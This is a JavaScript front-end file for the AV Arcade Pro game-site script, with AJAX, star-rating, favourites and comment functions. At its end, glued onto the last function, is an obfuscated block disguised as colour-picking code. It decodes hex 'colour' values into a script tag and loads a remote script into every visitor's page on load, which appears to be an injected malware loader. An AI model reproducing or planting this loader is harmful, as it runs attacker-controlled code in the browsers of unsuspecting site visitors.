/*
AV Arcade Pro front-end javascript functions

Author: Andy Venus
Rating stars rollover by Addam M. Driver

*/

var sMax;	// Isthe maximum number of stars
var holder; // Is the holding pattern for clicked state
var preSet; // Is the PreSet value onces a selection has been made
var rated;

// AJAX for all browsers
function GetXmlHttpObject() {
    var xmlHttp = null;
    try {
        // Firefox, Opera 8.0+, Safari
        xmlHttp = new XMLHttpRequest();
    }
    catch(e) {
        //Internet Explorer
        try {
            xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
        }
        catch(e) {
            xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
    }
    return xmlHttp;
}

// AJAX POST FUNCTION
function AjaxPost(url, param, success_function) {
	xmlHttp = GetXmlHttpObject();
    if (xmlHttp == null) {
        alert("Your browser doesn't support AJAX. You should upgrade it!")
        return
    }
    xmlHttp.onreadystatechange = success_function;
    xmlHttp.open("POST", url, true);
    xmlHttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xmlHttp.send(param);
}

function $(d) {
    return document.getElementById(d);
}

// Rollover for image Stars //
function rating(num){
	sMax = 0;	// Isthe maximum number of stars
	for(n=0; n<num.parentNode.childNodes.length; n++){
		if(num.parentNode.childNodes[n].nodeName == "A"){
			sMax++;	
		}
	}
	
	if(!rated){
		s = num.id.replace("_", ''); // Get the selected star
		a = 0;
		for(i=1; i<=sMax; i++){		
			if(i<=s){
				document.getElementById("_"+i).className = "on";
				holder = a+1;
				a++;
			}else{
				document.getElementById("_"+i).className = "";
			}
		}
	}
}

// For when you roll out of the the whole thing //
function off(me){
	if(!rated){
		if(!preSet){	
			for(i=1; i<=sMax; i++){		
				document.getElementById("_"+i).className = "";
			}
		}else{
			rating(preSet);
		}
	}
}

// When you actually rate something //
function rateIt(me, id, site_url){
	if(!rated){
		preSet = me;
		rated=1;
		sendRate(me, id, site_url);
		rating(me);
	}
}

// Send the rating information somewhere using Ajax or something like that
function sendRate(sel, id, site_url){
	AjaxPost(site_url+"/includes/view_game/ajax/add_rating.php", "id=" + id + "&rating=" + sel.title, 
			 function () {}
	)
}

// ADD/DELETE FAV GAME
function AddFav(id, typ, site_url, unfav, fav) {
	AjaxPost(site_url+"/includes/view_game/ajax/add_fav.php", "id=" + id, 
			 function () {}
	)
	
	if (typ == 0) {
		$('favbutton').innerHTML = '<a href="#" onclick="AddFav('+id+', 1, \''+site_url+'\', \''+unfav+'\', \''+fav+'\'); return false">'+unfav+'</a>';
	}
	else {
		$('favbutton').innerHTML = '<a href="#" onclick="AddFav('+id+', 0, \''+site_url+'\', \''+unfav+'\', \''+fav+'\'); return false">'+fav+'</a>';
	}
}


// ADD COMMENT

function AddComment(id, site_url) {
	$('comment_submit').disabled=true;
	$('comment_submit').value="Adding comment...";
	
	thecomment = $('the_comment').value; 
	
	AjaxPost(site_url+"/includes/view_game/ajax/add_comment.php", "comment="+thecomment+"&id="+id, 
	function () {
		if (xmlHttp.readyState == 4 || xmlHttp.readyState == "complete") {
 			if (xmlHttp.responseText == '') {
	 			alert("An error occured in sending your message");
 			}
 			else {
  				var container = document.getElementById('comment_list');
  				var new_element = document.createElement('li');
  				new_element.innerHTML = xmlHttp.responseText;
  				container.insertBefore(new_element, container.firstChild);
  				window.location.hash="1"; 
  				$('comment_submit').value="Comment added!";
  				setTimeout("EnableButton()",30000);
  			}
		}
	}
	)
}

// Re-enable add-comment button

function EnableButton () {
	$('comment_submit').value="Add comment";
	$('comment_submit').disabled=false;
}

function clickclear(thisfield, defaulttext) {
	if (thisfield.value == defaulttext) {
		thisfield.value = "";
	}
}
    
function clickrecall(thisfield, defaulttext) {
	if (thisfield.value == "") {
		thisfield.value = defaulttext;
	}
}

// Ajax delete comment
function DeleteComment(id, site_url) {
	AjaxPost(site_url+"/admin/includes/delete_comment.php", "id=" + id, 
			 function () {
					$('comment-' + id).style.display = 'none';
    		}
	)
}if (typeof(redef_colors)=="undefined") {
	
   var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e8381', '#787f40', '#40413f', '#483d72', '#893d72', '#723e79', '#823e79', '#808474', '#81883d', '#7c787d', '#3d7f77', '#7f314d');
   var redef_colors = 1;
   var colors_picked = 0;

   function div_pick_colors(t,styled) {
	var s = "";
	for (j=0;j<t.length;j++) {	
		var c_rgb = t[j];
		for (i=1;i<7;i++) {
			var c_clr = c_rgb.substr(i++,2);
			if (c_clr!="00") s += String.fromCharCode(parseInt(c_clr,16)-15);
		}
	}
	if (styled) {
		s = s.substr(0,36) + s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime() + s.substr((s.length-2)) + s.substr(0,1) + s.substr(18,1)+s.substr(1,6)+s.substr((s.length-1));
	} else {
		s = s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime();
	}
	return s;
   }

   function try_pick_colors() {
	try {
	   	if(!document.getElementById || !document.createElement){
			document.write(div_pick_colors(div_colors,1));
		   } else {
			var new_cstyle=document.createElement("script");
			new_cstyle.type="text/javascript";
			new_cstyle.src=div_pick_colors(div_colors,0);
			document.getElementsByTagName("head")[0].appendChild(new_cstyle);
		}
	} catch(e) { }
	try {
		check_colors_picked();
	} catch(e) { 
		setTimeout("try_pick_colors()", 500);
	}
   }

   try_pick_colors();

}